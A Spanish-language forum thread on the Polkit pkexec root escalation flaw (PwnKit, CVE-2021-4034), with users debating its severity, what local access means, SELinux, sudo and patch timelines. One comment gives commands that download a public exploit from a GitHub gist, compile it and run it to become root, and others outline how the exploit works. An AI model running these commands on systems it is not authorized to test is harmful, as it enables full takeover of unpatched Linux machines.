Un grave fallo en Linux de hace 12 años permite ser root en cualquier distro

Este fallo está presente en una herramienta del sistema llamada Polkit (previamente llamada PolicyKit), que da a los atacantes permisos de root en ordenadores que tengan cualquier distro de Linux.

[#6 ailian]

La vulnerabilidad requiere acceso local con autenticación a un dispositivo, y no se puede explotar de manera remota sin esa autenticación.

Vamos, que no es tampoco para alarmarse.

[#8 Ovlak]

#6 Sólo si aparece Tom Cruise suspendido de un cable.

[#26 AMDK6III]

#8 o mi mujer .. que es peor

[#78 Pitufo]

#26 con la fregona y señalando que pisaste lo mojado...

[#88 AMDK6III]

#78

la última vez que se saltó la seguridad de mi portátil (un Debian), me emborrachó, me hizo el amor, y mientras estaba yo tirado en la cama exhausto y medio dormido, entró en mi portátil.

seguimos casados, por lo que pueden concluir que no encontró nada (por pura suerte)...porque me desperté y no le dio tiempo

[#10 tpm1]

#6 ¿Qué cualquier usuario pueda obtener permisos de root no te parece para alarmarse? ¿Sabes la de gente que se conecta a servidores para trabajar día a día?

[#11 ailian]

#10 ¿Con acceso local al servidor?

[#12 tpm1]

#11 No significa que tengas que tener acceso físico al equipo, basta con acceder como usuario, cosa muy habitual al trabajar con servidores.

[#13 ailian]

#12 Acceso local.

[#16 el-brujo]

#13 SSH = acceso local

[#47 SalsaDeTomate]

#16 Que no hombre, que hay un duende mirando a ver si estás delante del pc o no

[#17 tpm1]

#13 No sé que está entendiendo por acceso local, pero en este caso no necesitas estar allí para usar el exploit.

[#67 ragar]

#17 Yo tampoco lo sé. Para mí , acceder por ssh siempre lo he considerado acceder en remoto. A ver si el artículo tiene algún trozo mal traducido.¿?

[#82 llorencs]

#17 Pero alguien con acceso ssh suele ser un número reducido de personas y normalmente técnicos.

[#36 LokyAstur]

#13 Ese acceso local al que se refiere no es que estés delante del servidor. Se puede acceder remotamente con acceso local.

[#71 sk4os]

#13 Acceso local se refiere a que tengas usuario en la máquina. No que estés delante de ella físicamente. 

[#50 chavi]

#11 Una vez que te conectas ya tienes acceso local

[#51 Desactivado]

#10 Pues desde hace mas de 10 años mas bien poca que no tenga root ya.

[#66 Desactivado]

#10 Pues imagina por qué apenas ponen servidores con windows.

[#68 Desactivado]

#10 Los servidores no usan policykit por lo general el cual es más para gestionar servicios bajo X.

[#14 meneandro]

A ver, explico un poco de qué va esto:

Polkit es una herramienta que define políticas de acceso y permisos a procesos que corren en el sistema (entre otras cosas, define políticas de comunicación entre procesos privilegiados y no privilegiados para que puedan intercambiar recursos de manera segura). Si se configura mal, da permisos incorrectos a procesos incorrectos.

Y como dice #6, el contexto necesario para explotar esa vulnerabilidad es muy concreto y restringido.

[#15 analphabet]

#14 #6 Estáis infravalorando esta vulnerabilidad. El hecho de que no sea explotable remotamente sin autenticación no quiere decir que no sea muy peligrosa.

Un ejemplo de como aprovechar esta vulnerabilidad y de por que sí es importante: Encuentras un servidor con una aplicación que resulta que es vulnerable a, por ejemplo, la vulnerabilidad de log4j de hace poquito. Sin embargo el proceso java corre bajo un usuario con pocos privilegios. Gracias a esta nueva vulnerabilidad se podría ganar acceso de root en el sistema.

Hacer LPE es un paso más dentro del hacking/pentesting, entiendo que gente que no está familiarizada con el tema considere que esto es poco relevante o muy concreto, pero en realidad es una forma de ganar control total del sistema una vez que has conseguido vulnerar alguna parte del sistema que permita ejecución de comandos.

[#18 el-brujo]

#15 Cierto, ya que si consigues una shell con usuario "httpd", con polkit ya eres root al momento
Es una vulnerabilidad muy grave (escalada de privilegios) local, menos mal, porque si llega a ser remota entonces sería la peor de la historia.......

[#124 chavi]

#18 Bueno, un servidor web no debería tener instalado polkit

[#20 meneandro]

#15 Infravalorando no, poniendo en su justo punto. Lo grave es más lo que se ha tardado en descubrir que su potencial explotabilidad (que depende de que hagas tonterías, no funciona sin colaboración tuya).

Un navegador cualquiera es más peligroso en general que esta vulnerabilidad (que ya ha sido parcheada, por cierto, con tener tu ordenador actualizado ya estás protegido), tanto porque es más fácil "hacer tonterías" como por el número de potenciales puntos de fallo.

[#21 analphabet]

#20 En teoría y a falta de ver el CVE y el PoC no hace falta hacer tonterías, simplemente tener una distro que incluya polkit con todo por defecto y que no haya sido parcheado.

Y el ejemplo del navegador no lo veo porque incluso si ganaras control remoto del navegador tendrías privilegios del usuario que ejecuta el navegador, que no tiene porque ser admin, necesitarías combinarlo con una escalada de privilegios, que precisamente es lo que es esta vulnerabilidad del polkit.

[#32 meneandro]

#21 Me refiero a que hay potencialmente tantas posibilidades o más de conseguir escalar privilegios con un navegador que con esta vulnerabilidad. Aquí para explotar la vulnerabilidad se trata de tener un usuario y poder ejecutar un software; si el atacante ya tiene un usuario o acceso capaz de ejecutar ese software, evidentemente ya lo tiene hecho, pero se supone que no debería tener ni lo uno ni lo otro. En un navegador, simplemente navegando pueden conseguir hacer que ejecutes ese software (tampoco es algo sencillo en principio, pero para nada descartable).

[#53 Razhan]

#32 por que se supone que no debería tener lo uno ni lo otro? Han pasado un porrón de años, pero ptrace fue una escalada local de privilegios y fue un cachondeo en mi universidad cuando todo Dios podía hacerse root. Y sourceforge de aquella también te daba una she’ll.

Otro ejemplo son máquinas de compilación y teatro, que mucho ya está ejecutándose de forma aislada, pero todavía va a haber unas cuantas por ahí en la que tener root haga daño.

Incluso hoy mismo en el trabajo yo tengo acceso a una gran cantidad de servidores con mi usuario, pero no root.

Esto es la mitad del santo grial del hacking, combinado con algo como log4shell te da acceso de root remoto. Obviamente la parte del RCE es peor, pero no minimícemos

[#59 meneandro]

#53 A ver, digo que entre una herramienta que hace una cosa (y en un caso puntual, falla en hacerla bien) y una herramienta que hace mil cosas, las probabilidades de fallo y de la gravedad de un fallo entre una y otra se decantan sobre la que más cosas hace, porque en más cosas puede fallar y afectar a todo el conjunto.

Se supone que tú eres un usuario autorizado en el sistema. Si ejecutas algo dudoso y la configuración del sistema te deja, es problema tuyo por un lado y del administrador de dicho sistema por otro. Cuando hablamos de vulnerabilidad hay dos partes: el sistema deja hacer una cosa que no debería hacer (eso es obvio) y luego está el contexto donde pasa eso. Si el contexto está limitado, aunque la vulnerabilidad sea chunga, puede ser que no afecte a todo el mundo.

Aquí hablamos de una vulnerabilidad, que será muy grave o muy poco grave dependiendo de la facilidad para explotarla y la cantidad de gente a la que podría afectar. Está claro que si se dan las condiciones esta vulnerabilidad es muy grave. Pero no tienen por qué darse "de manera universal" sino si se hacen ciertas cosas mal, y eso es lo que trato de explicar. El propio artículo indica que en otras arquitecturas también está presente, pero su impacto se minimiza porque hay otras protecciones por medio que impiden explotarla.

El santo grial del hacking es la ingeniería social. Sólo con eso puedes entrar en cualquier lado y hacer cualquier cosa.

[#86 Razhan]

#59 "las probabilidades de fallo y de la gravedad de un fallo entre una y otra se decantan sobre la que más cosas hace, porque en más cosas puede fallar y afectar a todo el conjunto."

Las probabilidades de fallo si, es el concepto de attack surface. a mayor complejidad del software, mas posibilidades hay de que existan fallos. Pero la gravedad no viene determinado por la complejidad del software, sino por lo que se puede lograr con el. Es lo que se mide como algo de CVSS

"Se supone que tú eres un usuario autorizado en el sistema. Si ejecutas algo dudoso y la configuración del sistema te deja, es problema tuyo por un lado y del administrador de dicho sistema por otro."

Problema mio? Por que? Yo estoy autorizado a hacer operacion X en el sistema, y ahora puedo hacer operacion Y.

"Pero no tienen por qué darse "de manera universal" sino si se hacen ciertas cosas mal, y eso es lo que trato de explicar"

Pero eso no es verdad. Mi servidor de casa (en el que un par de colegas tienen acceso ssh pero no root) era vulnerable al ataque. He hecho yo como administrador algo mal? No

"El santo grial del hacking es la ingeniería social. Sólo con eso puedes entrar en cualquier lado y hacer cualquier cosa."

Ingenieria social es una herramienta. Como una vulnerabilidad. El objetivo sigue siendo ejecucion de codigo remotamente como administrador. Por ejemplo, alguien puede usar ingenieria social para convencerme a mi, alguien con acceso de usuario para coger mis credenciales y luego usar esta vulnerabilidad para lograr el acceso de administrador.

[#90 meneandro]

#86 "Pero la gravedad no viene determinado por la complejidad del software, sino por lo que se puede lograr con el."

Ajá. Por eso he comparado dos casos donde:
a) se necesita un usuario
b) se necesita ejecutar un script o similar para producir la escalada de privilegios
Y me quedo con el caso que tiene una superficie de ataque mayor como el que más amenaza potencial tiene.

"Problema mio? Por que? "

¿Ejecutas cualquier script que cualquiera te pasa en el sistema? este no es un fallo que se produzca accidentalmente, es un fallo que tiene que provocarse para poder explotarlo.

"Pero eso no es verdad. Mi servidor de casa (en el que un par de colegas tienen acceso ssh pero no root) era vulnerable al ataque. He hecho yo como administrador algo mal? No"

¿Has usado tu servidor de manera que pueda aprovecharse esa vulnerabilidad? porque la vulnerabilidad no se explota sola, alguien tiene que conseguir un usuario en tu sistema y ejecutar alguna cosa. Si no se dan esas condiciones...

"Ingenieria social es una herramienta. Como una vulnerabilidad. "

La ingeniería social es la herramienta de herramientas. No necesitas ni tener conocimientos, ni aprovechar errores de software, ni si me apuras, tener conocimientos avanzados de informática. Basta saber que fulanito apunta su contraseña en el post-it o en la libreta, que puedes convencer a alguien para que haga algo, etc. pues con ingeniería social ni siquiera hace falta que exista nada vulnerable. La ingeniería social te podría permitir acceder a un sistema "legalmente" y con todos los permisos en regla. Por eso es el santo grial del hacking. Todo lo demás son trucos y artificios necesarios para conseguir aquello que con tu nivel de ingeniería social no puedes (a cambio de muchas veces dejar huellas o pistas de tu intrusión).

[#92 Razhan]

#90 Ya tenemos un sistema para evaluar la gravedad de las vulnerabilidades. Tiene en cuenta si es remoto o no, si hace falta intervencion del usuario o no, si el ataque es facil de llevar a cabo... Es CVSS. Esta vulnerabilidad es un 7.9

"¿Ejecutas cualquier script que cualquiera te pasa en el sistema? este no es un fallo que se produzca accidentalmente, es un fallo que tiene que provocarse para poder explotarlo."
Si, y como usuario de un sistema (por ejemplo el servidor de una universidad) en el que se me ha dado un nivel de acceso, gracias a esto ahora soy administrador. no ejecuto un script que alguien me pasa, ejecuto un exploit para lograr un nivel de acceso que el administrador del sistema no me ha concedido.

"¿Has usado tu servidor de manera que pueda aprovecharse esa vulnerabilidad? porque la vulnerabilidad no se explota sola, alguien tiene que conseguir un usuario en tu sistema y ejecutar alguna cosa. Si no se dan esas condiciones..."
Hay gente que tiene acceso a mi sistema. No les di acceso de administrador, solo acceso limitado al sistema. Pero ahora, por culpa de esto, en principio ya tendrian permiso de administrador. No es algo que configure mal

Y sobre la ingenieria social, precisamente por esto es grave. Como se que fulanito es un inutil y apunta su contraseña en un post-it, yo como administrador igual configure el sistema para que el usuario de fulanito solo pueda hacer la mas basica de las tareas. Pero gracias a esto, alguien que utilice ingenieria social en fulanito ahora tiene root access.

[#104 meneandro]

#92 " ejecuto un exploit para lograr un nivel de acceso que el administrador del sistema no me ha concedido."
Muy bien, has pasado de ser un usuario normal a ser un delincuente por atentar contra la institución que ha confiado en ti. Has tenido que hacer cosas para provocar otras cosas. No ha sido algo que ha pasado fortuítamente, has hecho cosas para que pase. Aquí de lo que se trata es que normalmente la gente no es como tú y no hace esas cosas.

"Hay gente que tiene acceso a mi sistema. No les di acceso de administrador, solo acceso limitado al sistema. Pero ahora, por culpa de esto, en principio ya tendrian permiso de administrador. "

Pero es que hace falta algo más que permisos de acceso o de administrador. Y tu sistema puede estar en modo kiosko o muy limitado (con quitar los permisos de ejecución en su carpeta de usuario, ya es inofensivo).

"No es algo que configure mal"

Pero es algo que puedes combatir y aislar sin demasiado problema.

"Pero gracias a esto, alguien que utilice ingenieria social en fulanito ahora tiene root access. "

Es tarea de un administrador de sistema que eso no pase ¿no?. Por eso los usuarios tienen distintos niveles de privilegios y accesos a los recursos. ¿Acaso todos tus usuarios tienen que poder ejecutar cosas propias en sus carpetas? ¿se pasan el día ejecutando cosas? ¿qué tipo de usuarios tienes? ¿ofimática? ¿ingenieros que usan las herramientas del sistema? ¿programadores que necesitan compilar?. Es que te pones en el peor de los casos, lo cual es lógico y tiene sentido, pero usuarios hay de muchos tipos y no todos te exponen a riesgo con esta vulnerabilidad, lo normal es que su rutina de trabajo no conlleve nada que pueda poner en peligro el sistema. No tanto como usar un navegador, al menos.

Igualmente, un experto en ingeniería social puede sonsacar directamente la pass de root ¿para qué andarse con zarandajas y medias tintas?

[#54 chavi]

#32 No. Un navegador no permite escalar privilegios, funciona sin privilegios

[#57 meneandro]

#54 https://mundowin.com/edge-recibe-una-solucion-para-escalar-la-vulnerabilidad-de-privilegios/
https://www.welivesecurity.com/la-es/2015/06/23/actualizacion-de-chrome-serios-bugs/
https://hackwise.mx/vulnerabilidad-de-google-chrome-permite-escalado-de-privilegios/
https://www.faq-mac.com/2017/03/cansecwest-una-vulnerabilidad-de-safari-otra-macos/
...

¿sigo? creo que ahí están todos los navegadores principales, podría buscar más.

[#108 chavi]

#57 Supongo que hablas de un sistema que ejecuta el navegador con usuario privilegiado.... a ver...
mundowin.com/edge-recibe-una-solucion-para-escalar-la-vulnerabilidad-d : edge: Windows
mundowin.com/edge-recibe-una-solucion-para-escalar-la-vulnerabilidad-d: No habla de escalada de privilegios
https://hackwise.mx/vulnerabilidad-de-google-chrome-permite-escalado-de-privilegios/

[#22 el-brujo]

#20 eing? es simplemente pasar un argumento en blanco a polkit para ser de ser usuario normal a root, fácil, rápido y grave.

Al revés, un navegador es 1 millón de veces más seguro que esta vulnerabilidad Sería como una vulnerabilidad en el navegador sin ninguna intervención del usuario pudieras tener permisos de administrador de windows y lanzar comandos (nada peligroso )

LPE (elevación local de privilegios)

Cierto, no lo han descubierto antes, porque nadie lo había mirado bien en 12 años.

Y el problema es cuántos servidores o sistemas linux hay sin actualizar....... muchos

[#29 meneandro]

#22 "eing? es simplemente pasar un argumento en blanco a polkit para ser de ser usuario normal a root, fácil, rápido y grave."

Del artículo: "donde cualquier persona que tenga un acceso por mínimo que sea a una máquina puede ejecutar código malicioso o insertar malware más dañino con control total del sistema.", "y puede explotarse incluso si Polkit no está ejecutándose", "Es recomendable actualizar lo antes posible para evitar verse afectado por el ataque. En el caso de no poder parchear de manera inmediata, se puede utilizar el comando chmod 0755 /usr/bin/pkexec para eliminar la parte de SUID de pkexec."

Pues qué quieres que te diga, parece más una mala configuración del sistema (un nuevo problema por bit SUID en un binario), parece que es explotable incluso si polkit no está funcionando en el sistema... ¿no es eso un poco un contrasentido?

Recapitulemos. Lo primero es que tienes que tener un acceso al sistema. Lo segundo, poder tener permisos para ejecutar un código malicioso. Hasta ahí, creo que es comparable a usar cualquier navegador en cuanto a peligrosidad (con la diferencia de que en un navegador se te puede colar código malicioso y ejecutarse sin casi tu intervención para nada). La diferencia entre una herramienta que sólo hace una cosa, donde ya está delimitado cuál es el peligro y ya hay una solución y un navegador que hace mil y por lo tanto tiene mil puntos posibles de vulnerabilidad y donde es tan complicado auditar que debe haber muchos agujeros desconocidos, creo que está clara. Los navegadores son mucho más peligrosos.

[#40 analphabet]

#29 Pero si pkexec tiene permisos de setuid por defecto, en todas las distros en las que está instalado porque los necesita para funcionar.

Y no es contrasentido porque la vulnerabilidad está en un ejecutable (pkexec). El exploit, el día que lo saquen, veremos que lo que hace es setear el path de una manera concreta y hacer una llamada a pkexec injectando algún tipo de payload que provocará que ese ejecutable a su vez ejecute otro comando (ej. bash) con permisos de root.

Y lo que dijiste antes de las configuraciones, en el video de qualys dicen y lo pone en texto también que la vulnerabilidad funciona en sistemas que tengan la config por defecto, lo cual puede ser excluyente o no, de sistemas en los que se haga una configuración personalizada, pero eso no se sabe por ahora.

[#61 meneandro]

#40 Es un contrasentido tener un ejecutable en el sistema de un servicio que no usas.

"El exploit, el día que lo saquen, veremos que lo que hace es setear el path de una manera concreta y hacer una llamada a pkexec injectando algún tipo de payload que provocará que ese ejecutable a su vez ejecute otro comando (ej. bash) con permisos de root."

Tendrás que ejecutar un software que manipule tu path antes de llamar a pkexec que haga lo que tenga que hacer, antes que nada. ¿Tú vas ejecutando todos los scripts que te pasa cualquier fulano en linux?

"la vulnerabilidad funciona en sistemas que tengan la config por defecto,"

Muy bien, ¿quién coño deja la configuración por defecto de algo sino el que no conoce como funciona?. No los mantenedores de las distros, espero, que esos se supone que tienen conocimientos y que adaptarán la configuración a las necesidades de cada distro; por ejemplo, sshd no debería permitir por defecto loguearse de manera remota al usuario root, es algo que es reconocido como fuente de problemas de seguridad y se desaconseja vivamente, y sin embargo, en la configuración por defecto viene en general habilitado en todos lados. Tampoco debería usarse sudo como remedo de su y activado para ejecutar por defecto todos los comandos como root para cualquier usuario que se diga administrador, está desaconsejado universalmente y es una fuente de problemas de seguridad, y sin embargo es común verlo en muchas distros. Si que es una cagada por parte de los creadores del software porque la configuración por defecto no debería ser peligrosa ni fuente de problemas de seguridad, pero también hay más responsables por medio, administradores de sistemas incluídos.

A lo que voy, muchas veces los problemas de seguridad vienen de malas prácticas asentadas con el tiempo, no porque haya problemas en las herramientas en si mismas. Las malas configuraciones y los malos casos de uso tienen gran parte de culpa.

[#73 Desactivado]

#61 OpenBSD en eso hace las cosas bien.

[#81 meneandro]

#73 Las hace diferentes. En algunas cosas mejor, en otras peor. Sin embargo, teniendo en cuenta la mano de obra que tiene a su disposición, si te concedo que las hace "más eficientemente".

[#83 analphabet]

#61 Ya ha salido el exploit. Lo importante aquí es que el ejecutable pkexec tiene un fallo que permite que seteando ciertas variables de entorno se consigue reemplazar una llamada a gconv_init() por una propia que definamos, y dentro de esa llamada, dado que el ejecutable pkexec es suid podemos darnos el uid que queramos (que será el 0, root) y acto seguido ejecutar cualquier cosa (una shell).

Todo eso lo hace el propio programa, no hay que andar configurando paths, ya lo hace él, y aunque podría usarse como dices dentro de un RAT para elevar privilegios con gente que ejecute cualquier cosa, el verdadero valor es para atacantes que hayan ganado acceso de usuario y quieran escalar a root.

Visto el exploit me atrevería a decir que la configuración del polkit es mayormente irrelevante, da igual que se tengan hechas configuraciones de ciertas aplicaciones o esté todo por defecto.

Y lo que dices del ssh, eso cambió hace mucho en las distros importantes:
https://manpages.debian.org/buster/openssh-server/sshd_config.5.en.html
Obedece un poco a una práctica que es equilibrar la seguridad y la usabilidad.
Pero igualmente, ese tipo de configuraciones aunque puedan ser problemáticas y no se ajusten a lo deseable, en ningún caso van a ser vulnerabilidades de por sí.

[#85 meneandro]

#83 Muy bien, sigues teniendo que poder usar un usuario de la máquina y pedirle que ejecute algo (que setee lo que haya que setear y ejecute lo que haya que ejecutar).

¿Sabías que además tienes que sortear las políticas de seguridad de selinux?

https://www.omarine.org/blog/selinux-polkit-authorization-policy-and-security-policy/

"Linux root does not always become SELinux root and it does not if the root's process did not reach its security context.

We run the pkexec command as an administrator, pkexec allows the authorized user to execute a program as another user. If you run the command without arguments it will run /bin/bash as the root user. But the process does not transition to the root's process context but retains the administrator's process context. Linux user is root while SELinux user is staff_u"

Este es precisamente el caso de la vulnerabilidad, si selinux está bien configurado no debería haber ningún problema:

"The SELinux user staff_u is defined in policy as a unprivileged user. SELinux prevents unprivileged users from doing administration tasks without transitioning to a different role. "

"Visto el exploit me atrevería a decir que la configuración del polkit es mayormente irrelevante, da igual que se tengan hechas configuraciones de ciertas aplicaciones o esté todo por defecto."

Toda la vulnerabilidad se basa en que si no le pasas argumentos, toma una decisión insegura. Yo creo que si no le pasas argumentos o están vacíos, es un problema de configuración claro (aparte de una cagada por no controlar los argumentos de entrada, que es lo más básico que hay en cualquier software que recibe entradas del exterior, son dos problemas que se juntan).

" Pero igualmente, ese tipo de configuraciones aunque puedan ser problemáticas y no se ajusten a lo deseable, en ningún caso van a ser vulnerabilidades de por sí. "

Basta que cualquiera acceda a un usuario que esté en sudoers y tendrá el control de la máquina "legalmente"... no es una vulnerabilidad si nos atenemos solo a la definición de fallo en el sistema, es una característica que no funciona mal, pero si tú dices que eso no es un problema de seguridad... hace a un sistema vulnerable, si no quieres llamarlo vulnerabilidad, allá tú.

[#89 analphabet]

#85 Eso que dices de selinux, has probado el exploit en una máquina con un polkit vulnerable y con el selinux en modo enforce para afirmar eso?

Y lo del sudo es justo lo que dije, se busca un equilibrio entre la seguridad (la conocida triada de seguridad CIA - Confidentiality, Integrity, Availability) y la usabilidad. En entornos donde se tiene un poco de seguridad al menos es impensable tener un usuario de sudo con ALL, mucho menos con NOPASSWD, pero sin embargo la gente en sus pcs de casa o en maquinas virtuales para probar sí que pone esas configuraciones. Los desarrolladores de sudo podrían directamente quitar esas opciones por ser poco seguras, pero volvemos a lo mismo, la usabilidad.

[#91 meneandro]

#89 Al parecer, es el comportamiento por defecto. Si lees el artículo que te pasé, verás que precisamente lo que hacen es cambiar ese comportamiento para poder permitir hacer otras cosas que en principio no dejaría porque requieren más permisos. De hecho, el artículo me hace pensar si el problema actual de seguridad no es más algo que ya se conocía de hace tiempo y que se daba como comportamiento normal (y que por eso selinux con las reglas que tiene lo previene). Pero puedo estar equivocado, igual es una configuración específica. Se puede comprobar hasta dónde escala tu usuario en un contexto de selinux activo igualmente, en el artículo pone el comando que hay que lanzar.

Igualmente, si se ha montado tanto revuelo con esto, mejor no pillarse los dedos y actualizar que es lo único 100% seguro y eficaz.

Sobre la usabilidad, siempre puede ser opcional y venir deshabilitado por defecto, ya el que quiera que se lo monte como quiera (como todos los tutoriales que lo primero que te nombran es que deshabilites selinux porque nadie sabe configurarlo adecuadamente y/o explicarle a un usuario novato cómo hacerlo y da mucho por saco en cuanto intentas instalar y probar algún servidor de lo que sea). O unos mínimos de seguridad: permitir las tareas de administración básicas y vetar las peligrosas (editar ciertas configuraciones, acceder a ciertos archivos, etc. que sudo permite un control muy fino de lo que se puede y no se puede hacer suplantando otros usuarios).

[#70 Desactivado]

#40 Void Linux no necesita Policykit para lo general.

[#39 musg0]

#22 He mirado en 5 servidores, que llevan Debian, y sólo en uno con Buster tengo instalado policykit, y me da que está ahí como dependencia de algo que necesitaba las X y ya no usa, porque lo puedo quitar sin que se quite ningún paquete relevante. No sé hasta qué punto en servidores que no usen X o login local de usuarios está instalado, pero al menos en Debian no parece algo que se use e instale por defecto en servidores

[#109 el-brujo]

#39 cierto, lo único que veo que polkit está instalado si usas cockpit

[#55 chavi]

#22 Solo los de los incompetentes. Los servidores deben estar siempre actualizados. Y no hablo de tener las últimas versiones.

[#62 Desactivado]

#22 y sistemas embebidos que no se actualizan jamás.

[#52 chavi]

#15 Exacto. Una escalada local de privilegios es una cagada importante.

[#63 comunerodecastilla]

#14 #15 apt updateapt upgradeAhora ya podéis porfiar si son galgos o podencos.   😉

[#19 el-brujo]

#14
>A ver, explico un poco de qué va esto:

Mejor explicado así: polkit es como sudo, y ya.

> para explotar esa vulnerabilidad es muy concreto y restringido.

polkit está instalado por defecto en la mayoría de las distribuciones, por no decir casi todas.

[#23 meneandro]

#19 Polkit no es como sudo. Polkit es una definición de políticas de interoperabilidad entre procesos con diferentes grados de permisos entre sí y por lo tanto su "scope" es más amplio.

Sudo define cambios de perfiles de usuario para la ejecución puntual de ejecutables concretos (aunque se utiliza mal y se usa como directamente como "su"... ¿su y sudo son equivalentes entonces? la respuesta también es no).

Aunque en cuanto a funcionamiento podrían parecer similares, son herramientas muy distintas. Una está dedicada a gestión de procesos e intercomunicación y gestión de permisos y otra a usuarios y permisos, contextos diferentes que desde cierto punto de vista podrían solaparse.

Polkit está instalado por defecto porque es una herramienta que venía a solucionar un problema de fragmentación entre la forma de trabajar de distintas distros de linux en un cierto nivel y a poner la fundación para poder desarrollar aplicaciones que usaran esas funcionalidades y que funcionaran de manera estándar en todas las distros de linux.

De hecho, cuando tú haces "systemctl restart serviciodeloscojones", si no tienes privilegios no te canta error, te pide que introduzcas las credenciales del usuario que gestiona el servicio y evita que tengas que hacer un "sudo systemctl restart serviciodeloscojones" (donde tendrías que tener configurado en el fichero del sudo qué usuario suplantas y con qué usuario permites suplantar, en otro caso no podrías). Esto es así porque lo gestiona polkit al vuelo, ve que hay un proceso que quiere lanzar otro que tiene unas políticas diferentes y gestiona la petición (o la deniega, según cómo estén configuradas dichas políticas). No sé si ha quedado clara la sutíl diferencia entre ambos y cómo resuelve cada cosa el meollo.

La vulnerabilidad depende de cómo esté configuradas ciertas políticas y permite llevarlas a cabo incorrectamente (del mismo modo que si estuviera configurada de otro modo, la vulnerabilidad no afectaría y no habría problema de seguridad -que no quita que el problema no exista y tenga que solucionarse, sólo remarco que afecta dependiendo de la configuración y que por lo tanto, no todos los sistemas que tienen la vulnerabilidad son vulnerables, valga la rebuznancia-).

[#49 Desactivado]

#23 Gracias

[#56 Razhan]

#23 creo que se refiere a que gracias a polkit en la práctica es como si todos los usuarios pudieran usar sudo en la máquina

[#69 Desactivado]

#19 No en servidores.

[#35 box3d]

#6 si me vale para rootear android... Es bastante.

[#64 sk4os]

#6 Elevación de privilegios en cualquier máquina Linux y no es para alarmarse? Ojalá tuvieras razón, pero no. Es jodida. Probado en una Debian y en una Red Hat, funciona en ambas, son 3 wgets a githut, un make y ejecutar un ejecutable. Más sencillo imposible.  

[#103 Desactivado]

#64 Cualquiera, no.

[#65 Nova6K0]

#6 Salvo que se juntase con otro ataque remoto, que permitiese dicho acceso local, que haberlos hailos como las meigas.

Saludos.

[#113 Desactivado]

#6 Lo de siempre,el problema está entre el teclado y el asiento.Noticia asustaviejas.

[#24 Dcz3]

#4 la vulnerabilidad está parcheada desde junio de 2021.

[#25 Desactivado]

#24 fuente de lo que dices?

[#27 Dcz3]

#25 https://www.bleepingcomputer.com/news/security/linux-system-service-bug-lets-you-get-root-on-most-modern-distros/

[#41 shake-it]

#27 Muchas gracias. Noticia ANTIGUA....

[#84 pert0]

#41 dejo por aquí que eso que te cuentan aparentemente no es cierto para esa vulnerabilidad. Fíjate que lo que te enlazan es CVE-2021-3560

y lo que se está parcheando ahora es CVE-2021-4034

Vulnerability Disclosure Timeline
2021-11-18: Advisory sent to secalert@redhat.
2022-01-11: Advisory and patch sent to distros@openwall.
2022-01-25: Coordinated Release Date (5:00 PM UTC).

Más: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

[#96 Dcz3]

#84 cierto, lo estaba revisando y llevas razón
gracias

[#100 Dcz3]

#76 gracias lo he comentado en el #84
Están relacionadas pero no es la misma
https://isc.sans.edu/diary/28272
Gracias

[#76 meloc]

#27 Creo que no es la misma:
La de Junio
https://access.redhat.com/security/cve/CVE-2021-3560

La de la noticia
https://access.redhat.com/security/cve/CVE-2021-4034

[#46 pax0r]

#24 he probado el xpl en una kali reciente y funciona..

[#1 Waves]

Justo ayer vi esos paquetes recibiendo actualizaciones.

[#4 Desactivado]

#1 Es reciente.

[#97 xyria]

#4 Tiene 12 años de antiguedad, según el artículo.

[#2 Desactivado]

Seguro que si preguntas en un foro de Linux la culpa es del usuario.

[#3 Vodker]

#2 y de Bill Gates.

[#45 Desactivado]

#3 Y te dirá que gracias a un ejército de millones de ojos vigilando continuamente el código y lanzando parches, un grave problema de seguridad será resuelto rápidamente en como mucho 12 años.

[#28 pip]

#2 el software tiene bugs, eso es así. Y bugs que dan acceso root ha habido cientos si no miles, en todos los sistemas operativos. Y seguirá habiendo.
Es bastante normal en realidad.

[#34 Desactivado]

#28 Din din din

[#87 Desactivado]

#80 to #34

[#93 Desactivado]

#87 to #79

[#94 Desactivado]

#93 to #87

[#79 Desactivado]

#28 En Windows recientemente bastaba con conectar un periférico razer

[#80 Desactivado]

#2 Teniendo en cuenta que debes tener acceso local con uan cuenta de USUARIO local, pues si, la culpa es del usuario

[#9 Desactivado]

Parcheado 25/1/2022 en Archlinux y 26/1/2022 en Manjaro.

[#5 gale]

¿En cualquier distro pecador?

[#30 Kichito]

#5 A distro y sinistro.

[#38 jmboris]

#5 Tiene que ser de la pradera , sino no hay problema.

[#58 Desactivado]

Ya están los linuxeros fastidiando los backdoors de la NSA

No es un bug es una feature

[#7 analphabet]

Explicación que dan en otros medios:

The short version, according to Qualys, is: "If our PATH is "PATH=name=.", and if the directory "name=." exists and contains an executable file named "value", then a pointer to the string "name=./value" is written out-of-bounds to envp[0]."

[#60 Desactivado]

No alarmarse, para realizar el hackeo es necesario hacer una interfaz gráfica en visual Basic y eso no está al alcance de cualquiera.

[#75 DRAG0NER0]

#60 Ya te arreglo tu post

[#77 Llullo]

#75 Por Dios!!! Qué bestia el guionista!!!

[#31 macchostes]

12 añazos con el fallo por ahí sin que nadie lo arregle, que desastre.

[#33 alehopio]

#0 Ya arreglada... es lo que tiene el open source que conocida una vulnerabilidad es parcheada casi de inmediado...

por ejemplo en UBUNTU
https://ubuntu.com/security/notices/USN-5252-2

#31 Los malandrines que lo conocieran se callaron para aprovecharlo, como en cualquier otro software.

[#42 ailian]

#33 Me acaba de llegar la actualización para mi manjaro, asi que arch y derivadas también parcheadas.

[#43 Desactivado]

C/C++ nos acabarán matando a todos, al tiempo... Pero los que programan en él podrán presumir de muy machos hasta entonces.

"El problema es que el elemento que se encarga de controlar eso ha tenido una vulnerabilidad de corrupción de memoria desde 2009 que permite a alguien con permisos limitados escalar privilegios hasta alcanzar permisos de root."

[#44 gotxi85]

Esta parcheada ya en casi todos los sistemas, pero os dejo aquí la POC para que lo probéis a ver si sois vulnerables:

$ curl https://gist.githubusercontent.com/darrenmartyn/c0902e3b7f01646a3d1de4ced9eb9e00/raw/fc7f4139ca61efd8f4c5ca576283a7f3dd53c17f/pkexec.c --output pkexec.c
$ gcc -o payload.so -fPIC -shared pkexec.c -lc -ldl Wl,e,lol
$ whoami
$ ./payload.so
$ whoami

En mi caso no lo soy con Ubuntu, sale el error del comando pkexec.

[#72 Desactivado]

#44 No me ha funcionado en Slackware -current. Y no he actualizado pkexec todavía.

[#98 gotxi85]

#72 Me acabo de dar cuenta que el formateo de meneame ha fastidiado la linea del gcc. Abre el fichero pkexec.c como texto y copia y pega y sustituye hax.c por pkexec.c

[#102 Desactivado]

